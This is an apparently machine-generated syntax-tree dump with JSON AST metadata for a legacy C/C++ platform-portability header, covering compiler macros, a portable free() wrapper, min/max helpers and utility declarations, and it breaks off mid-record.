(binary_expression) "i > j" (identifier) "i" (>) ">" (identifier) "j" (?) "?" (identifier) "i" (:) ":" (identifier) "j" ()) ")" (;) ";" (}) "}" (#ifdef) "#ifdef" (identifier) "SUN4" (function_definition) "static\n#else\ninline\n#endif\nfloat\nLgFrFloatMax (const float i, const float j)\n{\n return (i > j ? i : j);\n}" (storage_class_specifier) "static" (static) "static" (ERROR) "#else" (#else) "#else" (storage_class_specifier) "inline" (inline) "inline" (ERROR) "#endif" (#endif) "#endif" (primitive_type) "float" (function_declarator) "LgFrFloatMax (const float i, const float j)" (identifier) "LgFrFloatMax" (parameter_list) "(const float i, const float j)" (() "(" (parameter_declaration) "const float i" (type_qualifier) "const" (const) "const" (primitive_type) "float" (identifier) "i" (,) "," (parameter_declaration) "const float j" (type_qualifier) "const" (const) "const" (primitive_type) "float" (identifier) "j" ()) ")" (compound_statement) "{\n return (i > j ? i : j);\n}" ({) "{" (return_statement) "return (i > j ? i : j);" (return) "return" (parenthesized_expression) "(i > j ? i : j)" (() "(" (conditional_expression) "i > j ? i : j" (binary_expression) "i > j" (identifier) "i" (>) ">" (identifier) "j" (?) "?" (identifier) "i" (:) ":" (identifier) "j" ()) ")" (;) ";" (}) "}" (#ifdef) "#ifdef" (identifier) "SUN4" (function_definition) "static\n#else\ninline\n#endif\nsize_t\nsize_tMin (const size_t& i, const size_t& j)\n{\n return (i < j ? i : j);\n}" (storage_class_specifier) "static" (static) "static" (ERROR) "#else" (#else) "#else" (storage_class_specifier) "inline" (inline) "inline" (ERROR) "#endif" (#endif) "#endif" (primitive_type) "size_t" (function_declarator) "size_tMin (const size_t& i, const size_t& j)" (identifier) "size_tMin" (parameter_list) "(const size_t& i, const size_t& j)" (() "(" (parameter_declaration) "const size_t& i" (type_qualifier) "const" (const) "const" (primitive_type) "size_t" (ERROR) "&" (&) "&" (identifier) "i" (,) "," (parameter_declaration) "const size_t& j" (type_qualifier) "const" (const) "const" (primitive_type) "size_t" (ERROR) "&" (&) "&" (identifier) "j" ()) ")" (compound_statement) "{\n return (i < j ? i : j);\n}" ({) "{" (return_statement) "return (i < j ? i : j);" (return) "return" (parenthesized_expression) "(i < j ? i : j)" (() "(" (conditional_expression) "i < j ? i : j" (binary_expression) "i < j" (identifier) "i" (<) "<" (identifier) "j" (?) "?" (identifier) "i" (:) ":" (identifier) "j" ()) ")" (;) ";" (}) "}" (preproc_ifdef) "#ifdef SUN4\nstatic\n#else\ninline\n#endif\nfloat\nLgFrFloatMin (const float i, const float j)\n{\n return (i < j ? i : j);\n}\n\n\n// Get name which can be used for a temporary file\nLGFR_DECLSPEC std::string LGFR_STDCALL LgFrTempFileName();\n\n// Return true if file exists\nbool LgFrDoesFileExist( const std::string& fileName );\n\nint LgFrStrcmpcaseins( const char* s1, const char* s2 );\n\nvoid LgFrMachdepTest();\n\n#endif" (#ifdef) "#ifdef" (identifier) "SUN4" (function_definition) "static\n#else\ninline\n#endif\nfloat\nLgFrFloatMin (const float i, const float j)\n{\n return (i < j ? i : j);\n}" (storage_class_specifier) "static" (static) "static" (ERROR) "#else" (#else) "#else" (storage_class_specifier) "inline" (inline) "inline" (ERROR) "#endif" (#endif) "#endif" (primitive_type) "float" (function_declarator) "LgFrFloatMin (const float i, const float j)" (identifier) "LgFrFloatMin" (parameter_list) "(const float i, const float j)" (() "(" (parameter_declaration) "const float i" (type_qualifier) "const" (const) "const" (primitive_type) "float" (identifier) "i" (,) "," (parameter_declaration) "const float j" (type_qualifier) "const" (const) "const" (primitive_type) "float" (identifier) "j" ()) ")" (compound_statement) "{\n return (i < j ? i : j);\n}" ({) "{" (return_statement) "return (i < j ? i : j);" (return) "return" (parenthesized_expression) "(i < j ? i : j)" (() "(" (conditional_expression) "i < j ? i : j" (binary_expression) "i < j" (identifier) "i" (<) "<" (identifier) "j" (?) "?" (identifier) "i" (:) ":" (identifier) "j" ()) ")" (;) ";" (}) "}" (comment) "// Get name which can be used for a temporary file" (declaration) "LGFR_DECLSPEC std::string LGFR_STDCALL LgFrTempFileName();" (type_identifier) "LGFR_DECLSPEC" (ERROR) "std::string LGFR_STDCALL" (identifier) "std" (:) ":" (:) ":" (identifier) "string" (identifier) "LGFR_STDCALL" (function_declarator) "LgFrTempFileName()" (identifier) "LgFrTempFileName" (parameter_list) "()" (() "(" ()) ")" (;) ";" (comment) "// Return true if file exists" (declaration) "bool LgFrDoesFileExist( const std::string& fileName );" (primitive_type) "bool" (function_declarator) "LgFrDoesFileExist( const std::string& fileName )" (identifier) "LgFrDoesFileExist" (parameter_list) "( const std::string& fileName )" (() "(" (parameter_declaration) "const std::string& fileName" (type_qualifier) "const" (const) "const" (type_identifier) "std" (ERROR) "::string&" (:) ":" (:) ":" (identifier) "string" (&) "&" (identifier) "fileName" ()) ")" (;) ";" (declaration) "int LgFrStrcmpcaseins( const char* s1, const char* s2 );" (primitive_type) "int" (function_declarator) "LgFrStrcmpcaseins( const char* s1, const char* s2 )" (identifier) "LgFrStrcmpcaseins" (parameter_list) "( const char* s1, const char* s2 )" (() "(" (parameter_declaration) "const char* s1" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* s1" (*) "*" (identifier) "s1" (,) "," (parameter_declaration) "const char* s2" (type_qualifier) "const" (const) "const" (primitive_type) "char" (pointer_declarator) "* s2" (*) "*" (identifier) "s2" ()) ")" (;) ";" (declaration) "void LgFrMachdepTest();" (primitive_type) "void" (function_declarator) "LgFrMachdepTest()" (identifier) "LgFrMachdepTest" (parameter_list) "()" (() "(" ()) ")" (;) ";" (#endif) "#endif"
406
18
{"language": "c", "success": true, "metadata": {"lines": 111, "avg_line_length": 22.41, "nodes": 261, "errors": 0, "source_hash": "ca6c3de519dad3411c699227a43196e1b3e333c84011567281afe5d931198ffe", "categorized_nodes": 161}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "ERROR", "text": "#ifndef ScenarioMachdep_H\n#define ScenarioMachdep_H\n// RW2STL -- inserted:\n#include <string>\n// End of RW2STL -- inserted includes.\n\n#include <stdlib.h>\n\n#include <scenario/src/dll.h>\n\n\n#if defined(_MSC_VER)\n//# define CMRP_DATA_PATH \"..\\\\..\\\\..\\\\cmrpData\\\\\"\n# define CMRP_DATA_PATH \"..\\\\..\\\\cmrpData\\\\\"\n#else\n# define CMRP_DATA_PATH \"../../cmrpData/\"\n#endif\n\n#ifdef RS6K\n\n// tempnam function supported\n#define TEMPNAM_AVAILABLE 1\n\n#endif\n\n#ifdef SUN4\n/* Sun or GNU gcc seems to not have $ NLS support in stdio print routines,\n * so NLS_DOLLAR_FORMAT_SUPPORT is left undefined */\n \n/* Platform lacks ansi function strerror */\n#define NO_ANSI_STRERROR\n#define SPRINTF_NON_INT_RET\n\n#ifdef __cplusplus\n#define TRY_THROW_CATCH_NOT_SUPPORTED\n#define OLD_STYLE_MALLOC_FREE\n/* Sun C++ V2 required -DNULL=0 */\n#define 0 0\n#endif\n\n// tempnam function supported\n#define TEMPNAM_AVAILABLE 1\n\n// used in difCmrpF.C\n#define EXIT_FAILURE 1\n\n#endif\n\n//-----------------------------------------------------------------------------\n// portableFree\n//\n// Function that hides incompatibilities between various versions of\n// free()\n//-----------------------------------------------------------------------------\ninline\nvoid\nportableFree (void * mem) \n{\n if ( mem != 0 )\n free (\n#ifdef OLD_STYLE_MALLOC_FREE\n\t(char *)\n#endif\n\t mem);\n}\n\n// Sun CC was generating the following error messages when this was inline\n// \"../src/timeVecs.C\", line 46: warning:\n// size_tsize_tMax(const size_t&, const size_t&) not inlined,\n// called twice in an expression\n// \"../src/timeVecs.C\", line 335: warning:\n// out-of-line copy of size_tMax() created\n// \"../../scenario/src/machdep.h\", line 43: identifier redeclared:\n// size_tMax__FRCUiT1\n// \"../src/timeVecs.C\", line 337: warning:\n// static function called but not defined: size_tMax__FRCUiT1()\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nsize_t\nsize_tMax (const size_t& i, const size_t& j)\n{\n return (i > j ? i : j);\n}\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nfloat\nLgFrFloatMax (const float i, const float j)\n{\n return (i > j ? i : j);\n}\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nsize_t\nsize_tMin (const size_t& i, const size_t& j)\n{\n return (i < j ? i : j);\n}\n\n#ifdef SUN4\nstatic\n#else\ninline\n#endif\nfloat\nLgFrFloatMin (const float i, const float j)\n{\n return (i < j ? i : j);\n}\n\n\n// Get name which can be used for a temporary file\nLGFR_DECLSPEC std::string LGFR_STDCALL LgFrTempFileName();\n\n// Return true if file exists\nbool LgFrDoesFileExist( const std::string& fileName );\n\nint LgFrStrcmpcaseins( const char* s1, const char* s2 );\n\nvoid LgFrMachdepTest();\n\n#endif", "parent": null, "children": [1, 2, 3, 6, 9, 12, 15, 32, 40, 72, 104, 105, 106, 133, 134, 135, 162, 163, 164, 191], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 132, "column": 6}}, {"id": 1, "type": "#ifndef", "text": "#ifndef", "parent": 0, "children": [], "start_point": {"row": 0, "column": 0}, "end_point": {"row": 0, "column": 7}}, {"id": 2, "type": "identifier", "text": "ScenarioMachdep_H", "parent": 0, "children": [], "start_point": {"row": 0, "column": 8}, "end_point": {"row": 0, "column": 25}}, {"id": 3, "type": "preproc_def", "text": "#define ScenarioMachdep_H\n", "parent": 0, "children": [4, 5], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 2, "column": 0}}, {"id": 4, "type": "#define", "text": "#define", "parent": 3, "children": [], "start_point": {"row": 1, "column": 0}, "end_point": {"row": 1, "column": 7}}, {"id": 5, "type": "identifier", "text": "ScenarioMachdep_H", "parent": 3, "children": [], "start_point": {"row": 1, "column": 8}, "end_point": {"row": 1, "column": 25}}, {"id": 6, "type": "preproc_include", "text": "#include <string>\n", "parent": 0, "children": [7, 8], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 4, "column": 0}}, {"id": 7, "type": "#include", "text": "#include", "parent": 6, "children": [], "start_point": {"row": 3, "column": 0}, "end_point": {"row": 3, "column": 8}}, {"id": 8, "type": "system_lib_string", "text": "<string>", "parent": 6, "children": [], "start_point": {"row": 3, "column": 9}, "end_point": {"row": 3, "column": 17}}, {"id": 9, "type": "preproc_include", "text": "#include <stdlib.h>\n", "parent": 0, "children": [10, 11], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 7, "column": 0}}, {"id": 10, "type": "#include", "text": "#include", "parent": 9, "children": [], "start_point": {"row": 6, "column": 0}, "end_point": {"row": 6, "column": 8}}, {"id": 11, "type": "system_lib_string", "text": "<stdlib.h>", "parent": 9, "children": [], "start_point": {"row": 6, "column": 9}, "end_point": {"row": 6, "column": 19}}, {"id": 12, "type": "preproc_include", "text": "#include <scenario/src/dll.h>\n", "parent": 0, "children": [13, 14], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 13, "type": "#include", "text": "#include", "parent": 12, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 8}}, {"id": 14, "type": "system_lib_string", "text": "<scenario/src/dll.h>", "parent": 12, "children": [], "start_point": {"row": 8, "column": 9}, "end_point": {"row": 8, "column": 29}}, {"id": 15, "type": "preproc_if", "text": "#if defined(_MSC_VER)\n//# define CMRP_DATA_PATH \"..\\\\..\\\\..\\\\cmrpData\\\\\"\n# define CMRP_DATA_PATH \"..\\\\..\\\\cmrpData\\\\\"\n#else\n# define CMRP_DATA_PATH \"../../cmrpData/\"\n#endif", "parent": 0, "children": [16, 17, 20, 21, 25, 31], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 16, "column": 6}}, {"id": 16, "type": "#if", "text": "#if", "parent": 15, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 3}}, {"id": 17, "type": "preproc_defined", "text": "defined(_MSC_VER)", "parent": 15, "children": [18, 19], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 21}}, {"id": 18, "type": "defined", "text": "defined", "parent": 17, "children": [], "start_point": {"row": 11, "column": 4}, "end_point": {"row": 11, "column": 11}}, {"id": 19, "type": "identifier", "text": "_MSC_VER", "parent": 17, "children": [], "start_point": {"row": 11, "column": 12}, "end_point": {"row": 11, "column": 20}}, {"id": 20, "type": "\n", "text": "\n", "parent": 15, "children": [], "start_point": {"row": 11, "column": 21}, "end_point": {"row": 12, "column": 0}}, {"id": 21, "type": "preproc_def", "text": "# define CMRP_DATA_PATH \"..\\\\..\\\\cmrpData\\\\\"\n", "parent": 15, "children": [22, 23, 24], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 14, "column": 0}}, {"id": 22, "type": "#define", "text": "# define", "parent": 21, "children": [], "start_point": {"row": 13, "column": 0}, "end_point": {"row": 13, "column": 8}}, {"id": 23, "type": "identifier", "text": "CMRP_DATA_PATH", "parent": 21, "children": [], "start_point": {"row": 13, "column": 9}, "end_point": {"row": 13, "column": 23}}, {"id": 24, "type": "preproc_arg", "text": "\"..\\\\..\\\\cmrpData\\\\\"", "parent": 21, "children": [], "start_point": {"row": 13, "column": 24}, "end_point": {"row": 13, "column": 44}}, {"id": 25, "type": "preproc_else", "text": "#else\n# define CMRP_DATA_PATH \"../../cmrpData/\"\n", "parent": 15, "children": [26, 27], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 16, "column": 0}}, {"id": 26, "type": "#else", "text": "#else", "parent": 25, "children": [], "start_point": {"row": 14, "column": 0}, "end_point": {"row": 14, "column": 5}}, {"id": 27, "type": "preproc_def", "text": "# define CMRP_DATA_PATH \"../../cmrpData/\"\n", "parent": 25, "children": [28, 29, 30], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 16, "column": 0}}, {"id": 28, "type": "#define", "text": "# define", "parent": 27, "children": [], "start_point": {"row": 15, "column": 0}, "end_point": {"row": 15, "column": 8}}, {"id": 29, "type": "identifier", "text": "CMRP_DATA_PATH", "parent": 27, "children": [], "start_point": {"row": 15, "column": 9}, "end_point": {"row": 15, "column": 23}}, {"id": 30, "type": "preproc_arg", "text": "\"../../cmrpData/\"", "parent": 27, "children": [], "start_point": {"row": 15, "column": 24}, "end_point": {"row": 15, "column": 41}}, {"id": 31, "type": "#endif", "text": "#endif", "parent": 15, "children": [], "start_point": {"row": 16, "column": 0}, "end_point": {"row": 16, "column": 6}}, {"id": 32, "type": "preproc_ifdef", "text": "#ifdef RS6K\n\n// tempnam function supported\n#define TEMPNAM_AVAILABLE 1\n\n#endif", "parent": 0, "children": [33, 34, 35, 39], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 23, "column": 6}}, {"id": 33, "type": "#ifdef", "text": "#ifdef", "parent": 32, "children": [], "start_point": {"row": 18, "column": 0}, "end_point": {"row": 18, "column": 6}}, {"id": 34, "type": "identifier", "text": "RS6K", "parent": 32, "children": [], "start_point": {"row": 18, "column": 7}, "end_point": {"row": 18, "column": 11}}, {"id": 35, "type": "preproc_def", "text": "#define TEMPNAM_AVAILABLE 1\n", "parent": 32, "children": [36, 37, 38], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 22, "column": 0}}, {"id": 36, "type": "#define", "text": "#define", "parent": 35, "children": [], "start_point": {"row": 21, "column": 0}, "end_point": {"row": 21, "column": 7}}, {"id": 37, "type": "identifier", "text": "TEMPNAM_AVAILABLE", "parent": 35, "children": [], "start_point": {"row": 21, "column": 8}, "end_point": {"row": 21, "column": 25}}, {"id": 38, "type": "preproc_arg", "text": "1", "parent": 35, "children": [], "start_point": {"row": 21, "column": 26}, "end_point": {"row": 21, "column": 27}}, {"id": 39, "type": "#endif", "text": "#endif", "parent": 32, "children": [], "start_point": {"row": 23, "column": 0}, "end_point": {"row": 23, "column": 6}}, {"id": 40, "type": "preproc_ifdef", "text": "#ifdef SUN4\n/* Sun or GNU gcc seems to not have $ NLS support in stdio print routines,\n * so NLS_DOLLAR_FORMAT_SUPPORT is left undefined */\n \n/* Platform lacks ansi function strerror */\n#define NO_ANSI_STRERROR\n#define SPRINTF_NON_INT_RET\n\n#ifdef __cplusplus\n#define TRY_THROW_CATCH_NOT_SUPPORTED\n#define OLD_STYLE_MALLOC_FREE\n/* Sun C++ V2 required -DNULL=0 */\n#define 0 0\n#endif\n\n// tempnam function supported\n#define TEMPNAM_AVAILABLE 1\n\n// used in difCmrpF.C\n#define EXIT_FAILURE 1\n\n#endif", "parent": 0, "children": [41, 42, 43, 46, 49, 63, 67, 71], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 46, "column": 6}}, {"id": 41, "type": "#ifdef", "text": "#ifdef", "parent": 40, "children": [], "start_point": {"row": 25, "column": 0}, "end_point": {"row": 25, "column": 6}}, {"id": 42, "type": "identifier", "text": "SUN4", "parent": 40, "children": [], "start_point": {"row": 25, "column": 7}, "end_point": {"row": 25, "column": 11}}, {"id": 43, "type": "preproc_def", "text": "#define NO_ANSI_STRERROR\n", "parent": 40, "children": [44, 45], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 31, "column": 0}}, {"id": 44, "type": "#define", "text": "#define", "parent": 43, "children": [], "start_point": {"row": 30, "column": 0}, "end_point": {"row": 30, "column": 7}}, {"id": 45, "type": "identifier", "text": "NO_ANSI_STRERROR", "parent": 43, "children": [], "start_point": {"row": 30, "column": 8}, "end_point": {"row": 30, "column": 24}}, {"id": 46, "type": "preproc_def", "text": "#define SPRINTF_NON_INT_RET\n", "parent": 40, "children": [47, 48], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 32, "column": 0}}, {"id": 47, "type": "#define", "text": "#define", "parent": 46, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 7}}, {"id": 48, "type": "identifier", "text": "SPRINTF_NON_INT_RET", "parent": 46, "children": [], "start_point": {"row": 31, "column": 8}, "end_point": {"row": 31, "column": 27}}, {"id": 49, "type": "preproc_ifdef", "text": "#ifdef __cplusplus\n#define TRY_THROW_CATCH_NOT_SUPPORTED\n#define OLD_STYLE_MALLOC_FREE\n/* Sun C++ V2 required -DNULL=0 */\n#define 0 0\n#endif", "parent": 40, "children": [50, 51, 52, 55, 58, 62], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 38, "column": 6}}, {"id": 50, "type": "#ifdef", "text": "#ifdef", "parent": 49, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 6}}, {"id": 51, "type": "identifier", "text": "__cplusplus", "parent": 49, "children": [], "start_point": {"row": 33, "column": 7}, "end_point": {"row": 33, "column": 18}}, {"id": 52, "type": "preproc_def", "text": "#define TRY_THROW_CATCH_NOT_SUPPORTED\n", "parent": 49, "children": [53, 54], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 35, "column": 0}}, {"id": 53, "type": "#define", "text": "#define", "parent": 52, "children": [], "start_point": {"row": 34, "column": 0}, "end_point": {"row": 34, "column": 7}}, {"id": 54, "type": "identifier", "text": "TRY_THROW_CATCH_NOT_SUPPORTED", "parent": 52, "children": [], "start_point": {"row": 34, "column": 8}, "end_point": {"row": 34, "column": 37}}, {"id": 55, "type": "preproc_def", "text": "#define OLD_STYLE_MALLOC_FREE\n", "parent": 49, "children": [56, 57], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 36, "column": 0}}, {"id": 56, "type": "#define", "text": "#define", "parent": 55, "children": [], "start_point": {"row": 35, "column": 0}, "end_point": {"row": 35, "column": 7}}, {"id": 57, "type": "identifier", "text": "OLD_STYLE_MALLOC_FREE", "parent": 55, "children": [], "start_point": {"row": 35, "column": 8}, "end_point": {"row": 35, "column": 29}}, {"id": 58, "type": "ERROR", "text": "#define 0 0", "parent": 49, "children": [59, 60, 61], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 11}}, {"id": 59, "type": "#define", "text": "#define", "parent": 58, "children": [], "start_point": {"row": 37, "column": 0}, "end_point": {"row": 37, "column": 7}}, {"id": 60, "type": "number_literal", "text": "0", "parent": 58, "children": [], "start_point": {"row": 37, "column": 8}, "end_point": {"row": 37, "column": 9}}, {"id": 61, "type": "number_literal", "text": "0", "parent": 58, "children": [], "start_point": {"row": 37, "column": 10}, "end_point": {"row": 37, "column": 11}}, {"id": 62, "type": "#endif", "text": "#endif", "parent": 49, "children": [], "start_point": {"row": 38, "column": 0}, "end_point": {"row": 38, "column": 6}}, {"id": 63, "type": "preproc_def", "text": "#define TEMPNAM_AVAILABLE 1\n", "parent": 40, "children": [64, 65, 66], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 42, "column": 0}}, {"id": 64, "type": "#define", "text": "#define", "parent": 63, "children": [], "start_point": {"row": 41, "column": 0}, "end_point": {"row": 41, "column": 7}}, {"id": 65, "type": "identifier", "text": "TEMPNAM_AVAILABLE", "parent": 63, "children": [], "start_point": {"row": 41, "column": 8}, "end_point": {"row": 41, "column": 25}}, {"id": 66, "type": "preproc_arg", "text": "1", "parent": 63, "children": [], "start_point": {"row": 41, "column": 26}, "end_point": {"row": 41, "column": 27}}, {"id": 67, "type": "preproc_def", "text": "#define EXIT_FAILURE 1\n", "parent": 40, "children": [68, 69, 70], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 45, "column": 0}}, {"id": 68, "type": "#define", "text": "#define", "parent": 67, "children": [], "start_point": {"row": 44, "column": 0}, "end_point": {"row": 44, "column": 7}}, {"id": 69, "type": "identifier", "text": "EXIT_FAILURE", "parent": 67, "children": [], "start_point": {"row": 44, "column": 8}, "end_point": {"row": 44, "column": 20}}, {"id": 70, "type": "preproc_arg", "text": "1", "parent": 67, "children": [], "start_point": {"row": 44, "column": 21}, "end_point": {"row": 44, "column": 22}}, {"id": 71, "type": "#endif", "text": "#endif", "parent": 40, "children": [], "start_point": {"row": 46, "column": 0}, "end_point": {"row": 46, "column": 6}}, {"id": 72, "type": "function_definition", "text": "inline\nvoid\nportableFree (void * mem) \n{\n if ( mem != 0 )\n free (\n#ifdef OLD_STYLE_MALLOC_FREE\n\t(char *)\n#endif\n\t mem);\n}", "parent": 0, "children": [73, 75, 76], "start_point": {"row": 54, "column": 0}, "end_point": {"row": 64, "column": 1}}, {"id": 73, "type": "storage_class_specifier", "text": "inline", "parent": 72, "children": [74], "start_point": {"row": 54, "column": 0}, "end_point": {"row": 54, "column": 6}}, {"id": 74, "type": "inline", "text": "inline", "parent": 73, "children": [], "start_point": {"row": 54, "column": 0}, "end_point": {"row": 54, "column": 6}}, {"id": 75, "type": "primitive_type", "text": "void", "parent": 72, "children": [], "start_point": {"row": 55, "column": 0}, "end_point": {"row": 55, "column": 4}}, {"id": 76, "type": "function_declarator", "text": "portableFree (void * mem)", "parent": 72, "children": [77, 78], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 56, "column": 25}}, {"id": 77, "type": "identifier", "text": "portableFree", "parent": 76, "children": [], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 56, "column": 12}}, {"id": 78, "type": "parameter_list", "text": "(void * mem)", "parent": 76, "children": [79], "start_point": {"row": 56, "column": 13}, "end_point": {"row": 56, "column": 25}}, {"id": 79, "type": "parameter_declaration", "text": "void * mem", "parent": 78, "children": [80, 81], "start_point": {"row": 56, "column": 14}, "end_point": {"row": 56, "column": 24}}, {"id": 80, "type": "primitive_type", "text": "void", "parent": 79, "children": [], "start_point": {"row": 56, "column": 14}, "end_point": {"row": 56, "column": 18}}, {"id": 81, "type": "pointer_declarator", "text": "* mem", "parent": 79, "children": [82, 83], "start_point": {"row": 56, "column": 19}, "end_point": {"row": 56, "column": 24}}, {"id": 82, "type": "*", "text": "*", "parent": 81, "children": [], "start_point": {"row": 56, "column": 19}, "end_point": {"row": 56, "column": 20}}, {"id": 83, "type": "identifier", "text": "mem", "parent": 81, "children": [], "start_point": {"row": 56, "column": 21}, "end_point": {"row": 56, "column": 24}}, {"id": 84, "type": "if_statement", "text": "if ( mem != 0 )\n free (\n#ifdef OLD_STYLE_MALLOC_FREE\n\t(char *)\n#endif\n\t mem);", "parent": 72, "children": [85], "start_point": {"row": 58, "column": 2}, "end_point": {"row": 63, "column": 15}}, {"id": 85, "type": "parenthesized_expression", "text": "( mem != 0 )", "parent": 84, "children": [86], "start_point": {"row": 58, "column": 5}, "end_point": {"row": 58, "column": 17}}, {"id": 86, "type": "binary_expression", "text": "mem != 0", "parent": 85, "children": [87, 88, 89], "start_point": {"row": 58, "column": 7}, "end_point": {"row": 58, "column": 15}}, {"id": 87, "type": "identifier", "text": "mem", "parent": 86, "children": [], "start_point": {"row": 58, "column": 7}, "end_point": {"row": 58, "column": 10}}, {"id": 88, "type": "!=", "text": "!=", "parent": 86, "children": [], "start_point": {"row": 58, "column": 11}, "end_point": {"row": 58, "column": 13}}, {"id": 89, "type": "number_literal", "text": "0", "parent": 86, "children": [], "start_point": {"row": 58, "column": 14}, "end_point": {"row": 58, "column": 15}}, {"id": 90, "type": "call_expression", "text": "free (\n#ifdef OLD_STYLE_MALLOC_FREE\n\t(char *)\n#endif\n\t mem)", "parent": 84, "children": [91, 92], "start_point": {"row": 59, "column": 2}, "end_point": {"row": 63, "column": 14}}, {"id": 91, "type": "identifier", "text": "free", "parent": 90, "children": [], "start_point": {"row": 59, "column": 2}, "end_point": {"row": 59, "column": 6}}, {"id": 92, "type": "argument_list", "text": "(\n#ifdef OLD_STYLE_MALLOC_FREE\n\t(char *)\n#endif\n\t mem)", "parent": 90, "children": [93, 95], "start_point": {"row": 59, "column": 7}, "end_point": {"row": 63, "column": 14}}, {"id": 93, "type": "ERROR", "text": "#ifdef", "parent": 92, "children": [94], "start_point": {"row": 60, "column": 0}, "end_point": {"row": 60, "column": 6}}, {"id": 94, "type": "#ifdef", "text": "#ifdef", "parent": 93, "children": [], "start_point": {"row": 60, "column": 0}, "end_point": {"row": 60, "column": 6}}, {"id": 95, "type": "call_expression", "text": "OLD_STYLE_MALLOC_FREE\n\t(char *)\n#endif\n\t mem)", "parent": 92, "children": [96, 97], "start_point": {"row": 60, "column": 7}, "end_point": {"row": 63, "column": 14}}, {"id": 96, "type": "identifier", "text": "OLD_STYLE_MALLOC_FREE", "parent": 95, "children": [], "start_point": {"row": 60, "column": 7}, "end_point": {"row": 60, "column": 28}}, {"id": 97, "type": "argument_list", "text": "(char *)\n#endif\n\t mem)", "parent": 95, "children": [98], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 63, "column": 14}}, {"id": 98, "type": "binary_expression", "text": "char *)\n#endif\n\t mem", "parent": 97, "children": [99, 100, 101, 103], "start_point": {"row": 61, "column": 2}, "end_point": {"row": 63, "column": 13}}, {"id": 99, "type": "identifier", "text": "char", "parent": 98, "children": [], "start_point": {"row": 61, "column": 2}, "end_point": {"row": 61, "column": 6}}, {"id": 100, "type": "*", "text": "*", "parent": 98, "children": [], "start_point": {"row": 61, "column": 7}, "end_point": {"row": 61, "column": 8}}, {"id": 101, "type": "ERROR", "text": ")\n#endif", "parent": 98, "children": [102], "start_point": {"row": 61, "column": 8}, "end_point": {"row": 62, "column": 6}}, {"id": 102, "type": "#endif", "text": "#endif", "parent": 101, "children": [], "start_point": {"row": 62, "column": 0}, "end_point": {"row": 62, "column": 6}}, {"id": 103, "type": "identifier", "text": "mem", "parent": 98, "children": [], "start_point": {"row": 63, "column": 10}, "end_point": {"row": 63, "column": 13}}, {"id": 104, "type": "#ifdef", "text": "#ifdef", "parent": 0, "children": [], "start_point": {"row": 77, "column": 0}, "end_point": {"row": 77, "column": 6}}, {"id": 105, "type": "identifier", "text": "SUN4", "parent": 0, "children": [], "start_point": {"row": 77, "column": 7}, "end_point": {"row": 77, "column": 11}}, {"id": 106, "type": "function_definition", "text": "static\n#else\ninline\n#endif\nsize_t\nsize_tMax (const size_t& i, const size_t& j)\n{\n return (i > j ? i : j);\n}", "parent": 0, "children": [107, 109, 111, 113, 114], "start_point": {"row": 78, "column": 0}, "end_point": {"row": 86, "column": 1}}, {"id": 107, "type": "ERROR", "text": "#else", "parent": 106, "children": [108], "start_point": {"row": 79, "column": 0}, "end_point": {"row": 79, "column": 5}}, {"id": 108, "type": "#else", "text": "#else", "parent": 107, "children": [], "start_point": {"row": 79, "column": 0}, "end_point": {"row": 79, "column": 5}}, {"id": 109, "type": "storage_class_specifier", "text": "inline", "parent": 106, "children": [110], "start_point": {"row": 80, "column": 0}, "end_point": {"row": 80, "column": 6}}, {"id": 110, "type": "inline", "text": "inline", "parent": 109, "children": [], "start_point": {"row": 80, "column": 0}, "end_point": {"row": 80, "column": 6}}, {"id": 111, "type": "ERROR", "text": "#endif", "parent": 106, "children": [112], "start_point": {"row": 81, "column": 0}, "end_point": {"row": 81, "column": 6}}, {"id": 112, "type": "#endif", "text": "#endif", "parent": 111, "children": [], "start_point": {"row": 81, "column": 0}, "end_point": {"row": 81, "column": 6}}, {"id": 113, "type": "primitive_type", "text": "size_t", "parent": 106, "children": [], "start_point": {"row": 82, "column": 0}, "end_point": {"row": 82, "column": 6}}, {"id": 114, "type": "function_declarator", "text": "size_tMax (const size_t& i, const size_t& j)", "parent": 106, "children": [115, 116], "start_point": {"row": 83, "column": 0}, "end_point": {"row": 83, "column": 44}}, {"id": 115, "type": "identifier", "text": "size_tMax", "parent": 114, "children": [], "start_point": {"row": 83, "column": 0}, "end_point": {"row": 83, "column": 9}}, {"id": 116, "type": "parameter_list", "text": "(const size_t& i, const size_t& j)", "parent": 114, "children": [117, 120], "start_point": {"row": 83, "column": 10}, "end_point": {"row": 83, "column": 44}}, {"id": 117, "type": "parameter_declaration", "text": "const size_t& i", "parent": 116, "children": [118, 119], "start_point": {"row": 83, "column": 11}, "end_point": {"row": 83, "column": 26}}, {"id": 118, "type": "primitive_type", "text": "size_t", "parent": 117, "children": [], "start_point": {"row": 83, "column": 17}, "end_point": {"row": 83, "column": 23}}, {"id": 119, 